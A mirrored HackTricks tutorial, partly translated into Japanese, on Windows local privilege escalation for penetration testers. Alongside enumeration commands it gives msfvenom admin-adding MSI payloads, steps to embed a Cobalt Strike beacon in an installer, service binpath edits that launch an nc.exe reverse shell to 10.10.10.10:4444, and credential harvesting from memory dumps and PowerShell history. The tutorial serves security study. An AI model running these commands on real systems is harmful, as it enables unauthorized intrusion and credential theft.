mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1641 lines
90 KiB
Markdown
1641 lines
90 KiB
Markdown
# Windows Local Privilege Escalation
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||
|
||
## 初期の Windows 理論
|
||
|
||
### Access Tokens
|
||
|
||
**Windows Access Tokens を知らない場合は、先に以下のページを読んでください:**
|
||
|
||
|
||
{{#ref}}
|
||
access-tokens.md
|
||
{{#endref}}
|
||
|
||
### ACLs - DACLs/SACLs/ACEs
|
||
|
||
**ACLs - DACLs/SACLs/ACEs に関する詳細は、次のページを確認してください:**
|
||
|
||
|
||
{{#ref}}
|
||
acls-dacls-sacls-aces.md
|
||
{{#endref}}
|
||
|
||
### Integrity Levels
|
||
|
||
**Windows の integrity levels を知らない場合は、先に以下のページを読んでください:**
|
||
|
||
|
||
{{#ref}}
|
||
integrity-levels.md
|
||
{{#endref}}
|
||
|
||
## Windows Security Controls
|
||
|
||
Windows には、システムの **enumerating the system** を妨げたり、実行ファイルの実行を阻止したり、あるいは **detect your activities** するようなさまざまな制御があります。privilege escalation enumeration を開始する前に、次の **page** を **read** して、これらの **defenses** **mechanisms** をすべて **enumerate** するべきです:
|
||
|
||
|
||
{{#ref}}
|
||
../authentication-credentials-uac-and-efs/
|
||
{{#endref}}
|
||
|
||
## System Info
|
||
|
||
### Version info enumeration
|
||
|
||
Windows のバージョンに既知の脆弱性がないか確認してください(適用されているパッチも確認してください)。
|
||
```bash
|
||
systeminfo
|
||
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
|
||
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
|
||
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
|
||
```
|
||
|
||
```bash
|
||
[System.Environment]::OSVersion.Version #Current OS version
|
||
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
|
||
Get-Hotfix -description "Security update" #List only "Security Update" patches
|
||
```
|
||
### バージョンのエクスプロイト
|
||
|
||
This [site](https://msrc.microsoft.com/update-guide/vulnerability) は、Microsoftのセキュリティ脆弱性に関する詳細情報を検索するのに便利です。このデータベースには4,700件以上のセキュリティ脆弱性があり、Windows環境が提示する**膨大な攻撃対象面**を示しています。
|
||
|
||
**On the system**
|
||
|
||
- _post/windows/gather/enum_patches_
|
||
- _post/multi/recon/local_exploit_suggester_
|
||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeasにはwatsonが組み込まれている)_
|
||
|
||
**Locally with system information**
|
||
|
||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||
|
||
**Github repos of exploits:**
|
||
|
||
- [https://github.com/nomi-sec/PoC-in-GitHub](https://github.com/nomi-sec/PoC-in-GitHub)
|
||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
||
|
||
### 環境
|
||
|
||
Any credential/Juicy info saved in the env variables?
|
||
```bash
|
||
set
|
||
dir env:
|
||
Get-ChildItem Env: | ft Key,Value -AutoSize
|
||
```
|
||
### PowerShell の履歴
|
||
```bash
|
||
ConsoleHost_history #Find the PATH where is saved
|
||
|
||
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
|
||
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
|
||
cat (Get-PSReadlineOption).HistorySavePath
|
||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||
```
|
||
### PowerShell トランスクリプトファイル
|
||
|
||
これを有効にする方法は [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) で学べます。
|
||
```bash
|
||
#Check is enable in the registry
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||
dir C:\Transcripts
|
||
|
||
#Start a Transcription session
|
||
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
|
||
Stop-Transcript
|
||
```
|
||
### PowerShell Module Logging
|
||
|
||
PowerShellのパイプライン実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行詳細や出力結果がキャプチャされない場合があります。
|
||
|
||
これを有効にするには、ドキュメントの "Transcript files" セクションの手順に従い、**"Module Logging"** を **"Powershell Transcription"** の代わりに選択してください。
|
||
```bash
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||
```
|
||
PowersShell ログの直近 15 件のイベントを表示するには、次を実行します:
|
||
```bash
|
||
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||
```
|
||
### PowerShell **Script Block Logging**
|
||
|
||
スクリプトの実行に関する全活動とその内容が完全に記録され、各コードブロックが実行時にドキュメント化されます。この仕組みにより各活動の包括的な監査証跡が保持され、フォレンジックや悪意ある挙動の解析に有用です。実行時点でのすべての活動を記録することで、プロセスに関する詳細な洞察が得られます。
|
||
```bash
|
||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||
```
|
||
Script Block のログイベントは、Windows Event Viewer のパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\
|
||
直近20件のイベントを表示するには、次を使用します:
|
||
```bash
|
||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||
```
|
||
### インターネット設定
|
||
```bash
|
||
reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
|
||
```
|
||
### ドライブ
|
||
```bash
|
||
wmic logicaldisk get caption || fsutil fsinfo drives
|
||
wmic logicaldisk get caption,description,providername
|
||
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
|
||
```
|
||
## WSUS
|
||
|
||
アップデートが http**S** ではなく http で要求されている場合、システムを侵害できます。
|
||
|
||
まず、cmd で以下を実行して、ネットワークが非SSLの WSUS アップデートを使用しているか確認します:
|
||
```
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||
```
|
||
または、PowerShell で次のように:
|
||
```
|
||
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||
```
|
||
次のような返信を受け取った場合:
|
||
```bash
|
||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||
```
|
||
|
||
```bash
|
||
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||
PSChildName : windowsupdate
|
||
PSDrive : HKLM
|
||
PSProvider : Microsoft.PowerShell.Core\Registry
|
||
```
|
||
そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` または `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` が `1` に等しい場合。
|
||
|
||
その場合、**悪用可能です。** 後者のレジストリが 0 の場合、WSUS エントリは無視されます。
|
||
|
||
この脆弱性を悪用するには、次のようなツールを使用できます: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - これらは非SSL WSUS トラフィックに 'fake' な更新を注入する MiTM 用の weaponized exploit スクリプトです。
|
||
|
||
調査はここ:
|
||
|
||
{{#file}}
|
||
CTX_WSUSpect_White_Paper (1).pdf
|
||
{{#endfile}}
|
||
|
||
**WSUS CVE-2020-1013**
|
||
|
||
[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||
基本的に、このバグが悪用する欠陥は次のとおりです:
|
||
|
||
> ローカルユーザーのプロキシを変更する権限があり、Windows Updates が Internet Explorer の設定で構成されたプロキシを使用している場合、[PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自身のトラフィックを傍受し、アセット上で昇格したユーザーとしてコードを実行することが可能になります。
|
||
>
|
||
> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名用に自己署名証明書を生成してこれを現在のユーザーの証明書ストアに追加すれば、HTTP と HTTPS 両方の WSUS トラフィックを傍受できます。WSUS は証明書に対するトラスト・オン・ファースト・ユース型の検証を実装する HSTS 類似の仕組みを持ちません。提示された証明書がユーザーにより信頼され、ホスト名が正しければ、サービスはそれを受け入れます。
|
||
|
||
この脆弱性はツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用して悪用できます(入手可能になれば)。
|
||
|
||
## KrbRelayUp
|
||
|
||
特定の条件下で、Windows **domain** 環境に **local privilege escalation** 脆弱性が存在します。これらの条件には、**LDAP signing is not enforced,** ユーザーが **Resource-Based Constrained Delegation (RBCD)** を構成できる自己権限を持つこと、そしてユーザーがドメイン内でコンピュータを作成できる能力が含まれます。これらの**要件**は**デフォルト設定**で満たされることに注意してください。
|
||
|
||
エクスプロイトは [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) で見つかります。
|
||
|
||
攻撃フローの詳細については次を参照してください: [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||
|
||
## AlwaysInstallElevated
|
||
|
||
**もし** これら2つのレジストリが **有効**(値が **0x1**)になっている場合、あらゆる権限のユーザーが NT AUTHORITY\\**SYSTEM** として `*.msi` ファイルを**インストール**(実行)できます。
|
||
```bash
|
||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||
```
|
||
### Metasploit payloads
|
||
```bash
|
||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
|
||
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted
|
||
```
|
||
If you have a meterpreter session がある場合、この手法はモジュール **`exploit/windows/local/always_install_elevated`** を使用して自動化できます。
|
||
|
||
### PowerUP
|
||
|
||
power-up の `Write-UserAddMSI` コマンドを使用して、現在のディレクトリ内に権限昇格用の Windows MSI バイナリを作成します。このスクリプトはユーザー/グループの追加を促す事前コンパイル済みの MSI インストーラを書き出します(そのため GIU access が必要です):
|
||
```
|
||
Write-UserAddMSI
|
||
```
|
||
作成したバイナリを実行するだけで権限を昇格できます。
|
||
|
||
### MSI Wrapper
|
||
|
||
このチュートリアルを読んで、これらのツールを使ってMSIラッパーを作成する方法を学んでください。**.bat**ファイルをラップすれば、単にコマンドラインを実行したいだけの場合にも対応できます。
|
||
|
||
|
||
{{#ref}}
|
||
msi-wrapper.md
|
||
{{#endref}}
|
||
|
||
### Create MSI with WIX
|
||
|
||
|
||
{{#ref}}
|
||
create-msi-with-wix.md
|
||
{{#endref}}
|
||
|
||
### Create MSI with Visual Studio
|
||
|
||
- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe`
|
||
- **Visual Studio** を開き、**Create a new project** を選択して検索ボックスに "installer" と入力します。**Setup Wizard** プロジェクトを選択して **Next** をクリックします。
|
||
- プロジェクト名を **AlwaysPrivesc** のように付け、場所に **`C:\privesc`** を使用し、**place solution and project in the same directory** を選択して **Create** をクリックします。
|
||
- 4ステップのうちステップ3(choose files to include)に到達するまで **Next** を繰り返しクリックします。**Add** をクリックして先ほど生成した Beacon ペイロードを選択し、**Finish** をクリックします。
|
||
- Solution Explorer で **AlwaysPrivesc** プロジェクトを選択し、**Properties** で **TargetPlatform** を **x86** から **x64** に変更します。
|
||
- インストールされたアプリをより正当らしく見せるために変更できる他のプロパティ(例: **Author**, **Manufacturer**)があります。
|
||
- プロジェクトを右クリックして **View > Custom Actions** を選択します。
|
||
- **Install** を右クリックして **Add Custom Action** を選択します。
|
||
- **Application Folder** をダブルクリックし、**beacon.exe** ファイルを選択して **OK** をクリックします。これにより、インストーラーが実行されると、beacon ペイロードがすぐに実行されるようになります。
|
||
- **Custom Action Properties** で **Run64Bit** を **True** に変更します。
|
||
- 最後に **ビルドします**。
|
||
- If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64.
|
||
|
||
### MSI Installation
|
||
|
||
悪意のある `.msi` ファイルの **インストール** をバックグラウンドで実行するには:
|
||
```
|
||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||
```
|
||
この脆弱性を悪用するには、_exploit/windows/local/always_install_elevated_ を使用できます。
|
||
|
||
## Antivirus and Detectors
|
||
|
||
### 監査設定
|
||
|
||
これらの設定は、何が**ログに記録される**かを決めるため、注意が必要です。
|
||
```
|
||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit
|
||
```
|
||
### WEF
|
||
|
||
Windows Event Forwarding は、ログがどこに送られているかを把握しておくと有益です。
|
||
```bash
|
||
reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager
|
||
```
|
||
### LAPS
|
||
|
||
**LAPS** は、ドメインに参加しているコンピュータ上のローカル Administrator パスワードの管理のために設計されており、各パスワードが一意でランダム化され、定期的に更新されるようにします。これらのパスワードは Active Directory に安全に格納され、ACLs を通じて十分な権限が付与されたユーザーのみがアクセスでき、許可されている場合にローカル管理者パスワードを表示できます。
|
||
|
||
{{#ref}}
|
||
../active-directory-methodology/laps.md
|
||
{{#endref}}
|
||
|
||
### WDigest
|
||
|
||
有効な場合、**平文のパスワードは LSASS に保存されます** (Local Security Authority Subsystem Service).\
|
||
[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest).
|
||
```bash
|
||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
|
||
```
|
||
### LSA Protection
|
||
|
||
Windows 8.1以降、MicrosoftはLocal Security Authority (LSA)に対して、信頼されていないプロセスによる**メモリの読み取り**やコード注入の試みを**ブロック**する強化された保護を導入し、システムをさらに安全にしました。\
|
||
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||
```bash
|
||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||
```
|
||
### Credentials Guard
|
||
|
||
**Credential Guard** は **Windows 10** で導入されました。
|
||
|
||
その目的は、デバイスに保存された credentials を pass-the-hash のような攻撃から保護することです。| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||
```bash
|
||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||
```
|
||
### Cached Credentials
|
||
|
||
**Domain credentials** は **Local Security Authority** (LSA) によって認証され、OS のコンポーネントによって利用されます。ユーザーのログオンデータが登録済みのセキュリティパッケージによって認証されると、通常そのユーザーの domain credentials が確立されます。\
|
||
[**Cached Credentials に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||
```bash
|
||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||
```
|
||
## ユーザーとグループ
|
||
|
||
### ユーザーとグループの列挙
|
||
|
||
所属しているグループの中に興味深い権限を持つものがないか確認してください。
|
||
```bash
|
||
# CMD
|
||
net users %username% #Me
|
||
net users #All local users
|
||
net localgroup #Groups
|
||
net localgroup Administrators #Who is inside Administrators group
|
||
whoami /all #Check the privileges
|
||
|
||
# PS
|
||
Get-WmiObject -Class Win32_UserAccount
|
||
Get-LocalUser | ft Name,Enabled,LastLogon
|
||
Get-ChildItem C:\Users -Force | select Name
|
||
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
|
||
```
|
||
### 特権グループ
|
||
|
||
もしあなたが**特定の特権グループに属している場合、権限を昇格できる可能性があります**。ここで特権グループとそれらを悪用して権限を昇格する方法を学んでください:
|
||
|
||
|
||
{{#ref}}
|
||
../active-directory-methodology/privileged-groups-and-token-privileges.md
|
||
{{#endref}}
|
||
|
||
### Token manipulation
|
||
|
||
**詳しくはこちら**: このページで **token** が何かを確認してください: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\
|
||
次のページを確認して、**興味深い tokens とそれらを悪用する方法について学んでください**:
|
||
|
||
|
||
{{#ref}}
|
||
privilege-escalation-abusing-tokens.md
|
||
{{#endref}}
|
||
|
||
### ログインユーザー / セッション
|
||
```bash
|
||
qwinsta
|
||
klist sessions
|
||
```
|
||
### ホームフォルダ
|
||
```bash
|
||
dir C:\Users
|
||
Get-ChildItem C:\Users
|
||
```
|
||
### パスワードポリシー
|
||
```bash
|
||
net accounts
|
||
```
|
||
### クリップボードの内容を取得する
|
||
```bash
|
||
powershell -command "Get-Clipboard"
|
||
```
|
||
## 実行中のプロセス
|
||
|
||
### ファイルとフォルダの権限
|
||
|
||
まず最初に、プロセスを列挙して、**プロセスのコマンドライン内にパスワードがないか確認する**。\
|
||
実行中の**バイナリを上書きできるか**、またはバイナリのフォルダに書き込み権限があり、可能な[**DLL Hijacking attacks**](dll-hijacking/index.html)を悪用できるか確認する:
|
||
```bash
|
||
Tasklist /SVC #List processes running and services
|
||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||
|
||
#With allowed Usernames
|
||
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
|
||
|
||
#Without usernames
|
||
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
|
||
```
|
||
常に [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md) の存在を確認してください。
|
||
|
||
**プロセスのバイナリのパーミッションを確認する**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
|
||
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
|
||
icacls "%%z"
|
||
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
|
||
)
|
||
)
|
||
```
|
||
**プロセスのバイナリのフォルダの権限を確認する (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
|
||
```bash
|
||
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
|
||
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
|
||
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
|
||
todos %username%" && echo.
|
||
)
|
||
```
|
||
### メモリからのパスワード抽出
|
||
|
||
実行中のプロセスのメモリダンプは、sysinternals の **procdump** を使って作成できます。FTP のようなサービスは **credentials in clear text in memory** を保持していることがあるため、メモリをダンプして credentials を読み取ってみてください。
|
||
```bash
|
||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||
```
|
||
### 安全でない GUI アプリ
|
||
|
||
**SYSTEM として実行されているアプリケーションは、ユーザーが CMD を起動したり、ディレクトリを参照したりできる場合があります。**
|
||
|
||
例: "Windows Help and Support" (Windows + F1)、"command prompt" を検索し、"Click to open Command Prompt" をクリック
|
||
|
||
## サービス
|
||
|
||
サービスの一覧を取得する:
|
||
```bash
|
||
net start
|
||
wmic service list brief
|
||
sc query
|
||
Get-Service
|
||
```
|
||
### 権限
|
||
|
||
サービスの情報を取得するには **sc** を使用できます
|
||
```bash
|
||
sc qc <service_name>
|
||
```
|
||
各サービスごとに必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を用意しておくことを推奨します。
|
||
```bash
|
||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||
```
|
||
「Authenticated Users」が任意のサービスを変更できるか確認することを推奨します:
|
||
```bash
|
||
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
|
||
accesschk.exe -uwcqv %USERNAME% * /accepteula
|
||
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
|
||
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||
```
|
||
[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe)
|
||
|
||
### サービスを有効にする
|
||
|
||
次のエラーが発生する場合(例えば SSDPSRV の場合):
|
||
|
||
_システム エラー 1058 が発生しました._\
|
||
_サービスを開始できません。無効になっているか、関連付けられた有効なデバイスがないためです._
|
||
|
||
次のコマンドで有効にできます
|
||
```bash
|
||
sc config SSDPSRV start= demand
|
||
sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||
```
|
||
**サービス upnphost が動作するには SSDPSRV が必要であることに注意してください(XP SP1 向け)**
|
||
|
||
**この問題の別の回避策** は次を実行することです:
|
||
```
|
||
sc.exe config usosvc start= auto
|
||
```
|
||
### **サービスのバイナリパスを変更する**
|
||
|
||
サービスに対して "Authenticated users" グループが **SERVICE_ALL_ACCESS** を持っている場合、サービスの実行バイナリを変更することが可能です。変更して実行するには **sc** を使用します:
|
||
```bash
|
||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
|
||
|
||
sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"
|
||
```
|
||
### サービスを再起動
|
||
```bash
|
||
wmic service NAMEOFSERVICE call startservice
|
||
net stop [service name] && net start [service name]
|
||
```
|
||
さまざまな権限を通じて特権昇格が可能です:
|
||
|
||
- **SERVICE_CHANGE_CONFIG**: サービスのバイナリを再構成することを許可します。
|
||
- **WRITE_DAC**: アクセス許可の再設定を可能にし、サービス構成を変更できるようにします。
|
||
- **WRITE_OWNER**: 所有権の取得とアクセス許可の再設定を許可します。
|
||
- **GENERIC_WRITE**: サービス構成を変更する能力が含まれます。
|
||
- **GENERIC_ALL**: 同様にサービス構成を変更する能力が含まれます。
|
||
|
||
この脆弱性の検出と悪用には、_exploit/windows/local/service_permissions_ を利用できます。
|
||
|
||
### サービスバイナリの弱い権限
|
||
|
||
**サービスによって実行されるバイナリを変更できるかどうかを確認する** または バイナリが配置されているフォルダに **書き込み権限があるかどうか** を確認する ([**DLL Hijacking**](dll-hijacking/index.html))**.**\
|
||
|
||
サービスによって実行されるすべてのバイナリは **wmic** を使用して取得でき(not in system32)、権限は **icacls** で確認できます:
|
||
```bash
|
||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||
|
||
for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"
|
||
```
|
||
また**sc**と**icacls**を使用することもできます:
|
||
```bash
|
||
sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||
```
|
||
### サービス registry の permissions を変更する権限
|
||
|
||
任意の service registry を変更できるかどうかを確認する必要があります.\
|
||
次の方法で、ある service **registry** に対する **permissions** を **check** できます:
|
||
```bash
|
||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||
|
||
#Try to write every service with its current content (to check if you have write permissions)
|
||
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a
|
||
|
||
get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"
|
||
```
|
||
サービスが実行するバイナリを変更できるかどうかを確認するには、**Authenticated Users** または **NT AUTHORITY\INTERACTIVE** が `FullControl` 権限を持っているかを確認してください。もしそうであれば、サービスによって実行されるバイナリを変更できます。
|
||
|
||
実行されるバイナリの Path を変更するには:
|
||
```bash
|
||
reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f
|
||
```
|
||
### サービスレジストリの AppendData/AddSubdirectory 権限
|
||
|
||
レジストリに対してこの権限がある場合、**このレジストリからサブレジストリを作成できます**。Windows services の場合、これは **arbitrary code を実行するのに十分です:**
|
||
|
||
|
||
{{#ref}}
|
||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||
{{#endref}}
|
||
|
||
### 引用符で囲まれていないサービスパス
|
||
|
||
実行ファイルへのパスが引用符で囲まれていない場合、Windows はスペースの前までの各候補を順に実行しようとします。
|
||
|
||
例えば、パス _C:\Program Files\Some Folder\Service.exe_ の場合、Windows は次のような実行を試みます:
|
||
```bash
|
||
C:\Program.exe
|
||
C:\Program Files\Some.exe
|
||
C:\Program Files\Some Folder\Service.exe
|
||
```
|
||
組み込みの Windows サービスに属するものを除き、引用符で囲まれていないサービスパスをすべて列挙する:
|
||
```bash
|
||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||
|
||
# Using PowerUp.ps1
|
||
Get-ServiceUnquoted -Verbose
|
||
```
|
||
|
||
```bash
|
||
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
|
||
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
|
||
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
|
||
)
|
||
)
|
||
```
|
||
|
||
```bash
|
||
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
|
||
```
|
||
**この脆弱性はmetasploitで検出および悪用できます**: `exploit/windows/local/trusted\_service\_path` 手動でmetasploitを使ってサービスバイナリを作成できます:
|
||
```bash
|
||
msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe
|
||
```
|
||
### 回復アクション
|
||
|
||
Windowsでは、サービスが失敗した場合に実行するアクションをユーザーが指定できます。この機能は、binary を指すように設定できます。この binary が置き換え可能であれば、privilege escalation が可能になることがあります。詳細は[公式ドキュメント](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>)を参照してください。
|
||
|
||
## アプリケーション
|
||
|
||
### インストール済みアプリケーション
|
||
|
||
**permissions of the binaries**(上書きできれば privilege escalation が可能かもしれません)と **folders** の権限を確認してください([DLL Hijacking](dll-hijacking/index.html))。
|
||
```bash
|
||
dir /a "C:\Program Files"
|
||
dir /a "C:\Program Files (x86)"
|
||
